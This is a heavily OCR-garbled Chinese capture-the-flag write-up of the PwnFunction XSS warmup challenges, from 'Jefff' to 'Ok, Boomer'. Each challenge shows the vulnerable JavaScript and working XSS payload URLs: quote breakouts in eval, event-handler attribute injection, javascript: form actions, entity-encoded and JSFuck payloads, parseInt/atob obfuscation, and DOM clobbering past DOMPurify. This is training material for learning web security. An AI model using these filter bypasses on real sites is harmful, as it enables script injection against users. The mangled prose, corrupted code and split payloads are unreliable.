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0x02 Jefff

( URL(location).searchParams.get (' jeff") "JEFFF™)

"Ma name ${jeff}" )
ut (- => {

maname . innerText ma

jSIREI T jeff 4, Il evalllfE4ima, - ¥ma& il #lmanameliitext

brx<br:

div clazz="container”>
<h2 id="maname” >/ h
<hrr

FET R TLN - N, PR, BN N

jeffhtitpayload, HXG 52 HEmalfiiiE, HATHEMalert, TG XG5 A
& N E A

eval("ma = "Ma name" [ [T ]alert(1337) [ 4B FF]1"")

Eleval2x thAT M 1E 5]
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payload

ma = “Ma name” . alert(1337)

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff="-alert(1337)-"
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff="%2balert(1337)%2b"
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0x03 Ugandan Knuckles

URL(location).searchParams.get('wey"') "do you know da wey?");

ce( )

‘<input type="text" placeholder="${wey}" class="form-control">"

(& 8 sandbox.pwnfunction.com/warmups/da-wey.html?wey=123

Ugandan Knuckles

Rules

» Difficulty is Easy.

® Pop an zlert(1337) on sandbox.punfunction.com

* No user interaction.

* Cannot use https://sandbox.pwnfunction.com/?html=&js=fcss=

* Tested on Chrome.

ek

A H 3R E weyZ HUE A Jyplaceholderff N 75 . I Hid il 74485 . AREMEUHIIAREE, 1% B TEARZEN,  Fir LLTT AR
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input type="text" placeholder class="form-control == %8
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payload

https://sandbox.pwnfunction.com/warmups/da-wey.html?wey="onclick="alert(1337)""

https://sandbox.pwnfunction.com/warmups/da-wey.html?wey="onfocus="alert(1337)""

0x04 Ricardo Milos



& & sandbox.pwnfunction.com/warmups/ricardo.html?milos=True#

Ricardo Milos

Rules

s Difficulty is Easy.

e Pop an alart(1337) on sandbox. punfunction.com

e No user interaction.

e Cannot use https://sandbox.pwnfunction.com/?html=&js=Acss=

s Tested on Chrome.

/

True

<hrr
<form id="ricardo” method="GET":

<input name="mileoz” type="text” claszsz="form—control” placeholder="True” walue="True">
< farm

TR — 1 name=milosHIAHE, TEFIAMEFHIAN123, Z[alricardodilit & ix—~getif=k, WITF

https://sandbox.pwnfunction.com/warmups/ricardo.html?milos=123

A A, 2fEfurt fricardoZ %

1 id=" " method="GET">
<input name=" " type=" : " placeholder="

T

ricardo.action = ( URL(location).searchParams.get('ricardo") ')

setTimeout(_ => {

ricardo.submit()

new URL (location).searchParams.get() %) Bt url 1 () 75 1) S5 (i
ricardo.action%;ricardobr 254 1l —~action/g 4

an R G url g

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=123

iGN

<form id="ricardo" action="123" method="GET">

actionzE X R FARACbhE, P LAUTHE 2 740 T url& ik getif 3R

https://sandbox.pwnfunction.com/warmups/123?milos=True




1X HactionfE vl 4%, Bt LAAT AR Hacrion$iATjsA 5

¥ <form id="ricardo” method="GET" action="javascript:alert{l)
input name="milos" type="text" class="form-control"” placeholder="True" value="True == %8
/form

Jdiv

payload

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

html % £ e 7% s B8 B0 1 3 7 v

1. Dom=H 1
<a href="xxx" onclick="fun()">F /& atr

2. Bt
<a href="javascript:fun()">3& /Zabr %

3. M Hjqr e idIR I I 1 B Al e AL
<a id="fun’ > Eatrz:
$("#fun").click(function(){
fun();
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0x05 Ah That’s Hawt

<h2 id="will"></h2>
<script>

smith = (new URL(location).searchParams.get('markassbrownlee') "Ah That's Hawt")

smith = smith.replace(/[\(\"\)\\1/g, '')
will.innerHTML = smith
</script>

XHEMO4ZEAZL, Murl3REL markassbrownlee 801t , ik 7 () F&, FH Ewillh
WATalert(1337)F Eoetid i, JeitfrhtmlsiAgniy, 15 Fpayload

https://sandbox. pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<svg onload="8#97;8&#108;&#101 ; &#114;&#11
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https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<svg onload="%26%2397%3b%26%23108%3b%26%

23101%3b%26%23114%3b%26%23116%3b%26%2340%3b%26%2349%3b%26%2341%3b" >

0x06 Ligma


https://xss.pwnfunction.com/warmups/ligma/

balls = ¢ URL(location).searchParams.get('balls") "Ninja has Ligma")

balls = balls.replace(/[A-Za-z08-91/g, '')
eval(balls)
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https://sandbox.pwnfunction.com/warmups/ligma.html?balls=%5b%5d%5b (!%5b%5d%2b%5b%5d)%5b%2b%5b%5d%5d%2b (%5b ! %5b%5
d%5d%2b%5b%5d%5b%5b%5d%5d ) %5b%2b ! %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b (! %5b%5d%2b%5b%5d ) %5b 1 %2b%5b%5d%2b | %2b%5b%5d%5
d%2b (! 1%5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b ! %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! ! %5b%
5d%2b%5b%5d)%5b%2b ! %2b%5b%5d%5d%5d%5b (%5b%5d%5b ( ! %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (%5b ! %5b%5d%5d%2b%5b%5d%5b%5b)
%55d%5d ) %5b%2b ! %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b ( ! %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b
%5d ) %5b%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b | %2b%5b%5d%2b | %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d ) %5b%2b !
62b%5b%5d%5d%5d%2b%5b%5d ) %5b 1 %2b%5b%5d%2b ! %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d%5b (! %5b%5d%2b%5b%5d ) %5b
62b%5b%5d%5d%2b (%5b ! %5b%5d%5d%2b%5b%5d%5b%5b%5d%5d ) %5b%2b | %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b ( ! %5b%5d%2b%5b%5d ) %5b
1%2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b ! %2b%5b%5d%
2b1%2b%5b%5d%5d%2b (! 1%5b%5d%2b%5b%5d)%5b%2b ! %2b%5b%5d%5d%5d ) %5b%2b | %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b (%5b%5d%5b%5
b%5d%5d%2b%5b%5d ) %5b%2b ! %2b%5b%5d%5d%2b ( ! %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b ! %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! ! %5b%5d%
2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d ) %5b%2b | %2b%5b%5d%5d%2b (%5b%5d%5b%5b%5d%5d%2b%5b%5d ) %5b%2b%5b%5d%5d
52b (%5b%5d%5b (1 %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (%5b ! %5b%5d%5d%2b%5b%5d%5b%5b%5d%5d ) %5b%2b ! %2b%5b%5d%2b%5b%2b%5
b%5d%5d%5d%2b (1 %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b | %2b%5b%5d%5d%2b ( ! 1 %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! ! %5b%5d%2b|
65b%5d ) %5b | %2b%5b%5d%2b ! %2b%5b%5d%2b | %2b%5b%5d%5d%2b (! 1%5b%5d%2b%5b%5d ) %5b%2b | %2b%5b%5d%5d%5d%2b%5b%5d ) %5b ! %2b%
b%5d%2b ! %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d%5b ( ! %5b%5d%2b%5b%5d )
65b%2b%5b%5d%5d%2b (%5b | %5b%5d%5d%2b%5b%5d%5b%5b%5d%5d ) %5b%2b 1 %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b ( ! %5b%5d%2b%5b%5d )
65b 1 %2b%5b%5d%2b ! %2b%5b%5d%5d%2b (! 1%5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b 1 %2b%5b%5d%2b | %2b%5b%
5d%2b1%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b%2b ! %2b%5b%5d%5d%5d ) %5b%2b | %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b (! 1 %5b%5d
62b%5b%5d ) %5b%2b ! %2b%5b%5d%5d%5d ( (! %5b%5d%2b%5b%5d ) %5b%2b | %2b%5b%5d%5d%2b ( ! %5b%5d%2b%5b%5d ) %5b ! %2b%5b%5d%2b | %2b%
5b%5d%5d%2b (! 1%5b%5d%2b%5b%5d)%5b 1 %2b%5b%5d%2b ! %2b%5b%5d%2b | %2b%5b%5d%5d%2b (! ! %5b%5d%2b%5b%5d ) %5b%2b 1 %2b%5b%5d%5
d%2b (! 1%5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! %5b%5d%2b%5b%5d%5b ( ! %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (%5b ! %5b%5d%5d%
2b%5b%5d%5b%5b%5d%5d ) %5b%2b | %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b (! %5b%5d%2b%5b%5d ) %5b 1 %2b%5b%5d%2b | %2b%5b%5d%5d%2b (
1 19%5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b | %2b%5b%5d%2b | %2b%5b%5d%2b ! %2b%5b%5d%5d%2b ( ! ! %5b%5d%2b
65b%5d ) %5b%2b 1 %2b%5b%5d%5d%5d ) %5b | %2b%5b%5d%2b | %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%5b%2b | %2b%5b%5d%5d%2b%5b ! %2b%5b
65d%2b 1 %2b%5b%5d%2b | %2b%5b%5d%5d%2b%5b 1 %2b%5b%5d%2b | %2b%5b%5d%2b | %2b%5b%5d%5d%2b%5b ! %2b%5b%5d%2b | %2b%5b%5d%2b | %2
b%5b%5d%2b ! %2b%5b%5d%2b | %2b%5b%5d%2b ! %2b%5b%5d%2b | %2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d%5b ( ! %5b%5d%2b%5b%5d ) %5b%2b%5
b%5d%5d%2b (%5b ! %5b%5d%5d%2b%5b%5d%5b%5b%5d%5d ) %5b%2b ! %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b (| %5b%5d%2b%5b%5d ) %5b ! %2b%
5b%5d%2b 1 %2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b%2b%5b%5d%5d%2b (! 1 %5b%5d%2b%5b%5d ) %5b 1 %2b%5b%5d%2b ! %2b%5b%5d%2b | %2,
b%5b%5d%5d%2b (! 1%5b%5d%2b%5b%5d ) %5b%2b ! %2b%5b%5d%5d%5d ) %5b ! %2b%5b%5d%2b ! %2b%5b%5d%2b%5b%2b%5b%5d%5d%5d) ( )

0x07 Mafia

mafia _ URL(location).searchParams.get('mafia') "1+1')
mafia = mafia.slice(d, 5¢

mafia = mafia.
mafia = mafia.rej
eval(mafia)

mafiaZ$ E i tevaliidr, HAATHT, SHE 2L iEHalertfl " " + - I\ [ 74
A LAge it alertid JE ¥ 4 i A7


https://xss.pwnfunction.com/warmups/mafia/
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String-fromGharGede

payload eval(String.-Fr‘omCharCode(97 108,101,114,116,40,49,51,51,55,41)) , {H/& TR & T AREEL50 747, W
REUHZ RG], WZI7E . X B ERERAT 7 ikevalki .

mafia = ( URL(lucatiun).searchParams.-'." ('mafia') "1+1')

mafla

base64%mfit
Fipayloadit17base64 % 5, iHitatob()IH{T#MT, #ifSpayload eval(atob('YWxlcnQoMTMzNyk=")) , {H & #idiE 1
X Fratob 1 i #5

i € e @ @ O

atob() Yes 10.0 1.0 Yes Yes

parselnt
Hlparselntif £ 8 Fe i sy, fEHItoString(fiftfr. MM EHCN2-36, T 45 i KIIHUE 7929, Fir DA AT 3£ #5>29.

» parselnt("t",3@
29

» parselnt("alert",3@)
8630439

» B8688439..tostring(3e)
"alert"

[X It payload

https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(8680439..toString(30))(1337)

o K5I, toLowerCase()id )5
A g 7 X515, BT ART A A TR R 3G RS 1) ARt &, FiHfd ftoLowerCase (Vi e il /N5
Bl /ALERT(1337)/.source.tolLowerCase() - 1L SRULHHE LJEH Kevalis
#l| eval(/ALERT(1337)/.source.tolLowerCase()) #&H APATHLE ], 21X BAFIE N AAIAT, AT AR M 71
1. Frllpayloady

?mafia=eval(/ALERT(1337)/.source.toLowerCase())

23 tpwnfunctionffiwp R H2 211, {8 B 4 R 247 payload

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()




o jiiidlocationgk U it k4l
searchParams3k I, locationifi i A3k R, Frblidid locationfF i & i 2 alert(1337) , B
location.hash.slice(1)3k B x4 .

?mafia=eval(location.hash.slice(1))#alert(1337)

0x08 Ok, Boomer

">0k, Boomer.</h2>

boomer.innerHTML = DOMPurify.sanitize( URL(location).searchParams.get('boomer') "0k, Boomer"™)
Timeout(ok, 2000)

—REEE S 2, TEeb—%hdom clobbering, —Fh#i#T T /LL’Q%~
X HL A fDOMPurifyXﬂﬁJ)\EU BOEATIEIE, Said AR R UL, (H R IR @ SRS A —H), setTimeout(ok, 2000)
setTimeoutz il H-HATok, Mok EAMAE . T2 T4 ok FFRATTARBAT i3 v A AL gl o] LA o

Domyt & IflidBkname st & S 4 AR E N U N2 AR &, IR I—A"Domycz, F1 AT E R R/ 5k 1771 @ HAE Aname, X ANT7
IR 2 W Domyt R 78 5


https://xss.pwnfunction.com/warmups/ok-boomer/

BAathoklf{ENe, X HEF%Dom Clobbering, 1R H/77E —4Mid=okff) i &k, A4 X HEijokit & BZ iR E. Econsole
Wik —TF

» ok

@ »Uncaught ReferenceError: ok is not defined
at <anonymous>:1:1

» document.getElementById( ' boomer' ).innerHTML = "<a id=ok value=13>";
"<a id=ok value=1:"
» ok

<a id="ok" value="1"»</a>

Lok, AT LLfEboomerZ it iE —Mid ok IFRAS 1

boomer=<a id=ok href=xxx>

setTimeoutfATokif &I, okHAZREL, T2 ATtoString() (. toString#AF 2 REE| 05 Hhref
e, BT ASRA R 3 & A /e href B, 43 %l payload

boomer=<a id=ok href=alert(1337)>

B ~X B R B fkralertilNhrefrr, JE AT, W2 B aibhbab 4, FrOAHE e Huhkrgks .

» ok
<a id="ok" href="xxx"></a
» ok.toString()
"https://sandbox. pwnfunction.com/warmups/xxx"

¥R, &4 SDOMPurify, 77 HI P E 4% B TR

// allow specific protocols handlers in URL attributes (default is false)

f/ by default only http, https, ftp, ftps, tel, mailto, callto, cid and xmpp are allowed.

// Default RegExp: /"(?:(2:(2:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[*a-z]|[a-z+-\-]1+(2:[%a-z+.\-:]|%))/i;

var clean = DOMPurify.sanitize(dirty, {ALLOWED URI REGEXP: /"(?:(?:(?:f|ht)tps?|mailto|tel|callteo|cid|xmpp|xxx):|[*a-z]

FrLAAT LAty i& payload boomer=<a id=ok href=ftps:alert(1337)>
ftpsT] L e i T http/https/ftp 4/ 1 At 10 13
% payload~

?boomer=<a id=ok href=ftps:alert(1337)>
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